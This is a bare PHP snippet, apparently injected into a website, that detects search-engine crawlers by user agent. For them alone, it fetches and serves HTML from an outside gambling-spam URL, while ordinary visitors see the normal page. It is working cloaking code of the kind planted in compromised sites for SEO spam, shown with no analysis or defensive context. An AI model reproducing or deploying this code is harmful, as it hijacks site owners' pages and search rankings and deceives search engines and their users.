ob_start(); header('Vary: User-Agent'); $bot_url = "https://igamingpro.org/pdgaming/jurnal.html"; $botchar = "/(googlebot|slurp|bingbot|baiduspider|yandex|adsense|crawler|spider|inspection)/i"; $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); function lph_requests($url) { if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); $response = curl_exec($ch); curl_close($ch); return $response; } elseif (ini_get('allow_url_fopen')) { return file_get_contents($url); } return false; } if (preg_match($botchar, $ua)) { usleep(rand(100000, 200000)); echo lph_requests($bot_url); ob_end_flush(); exit; }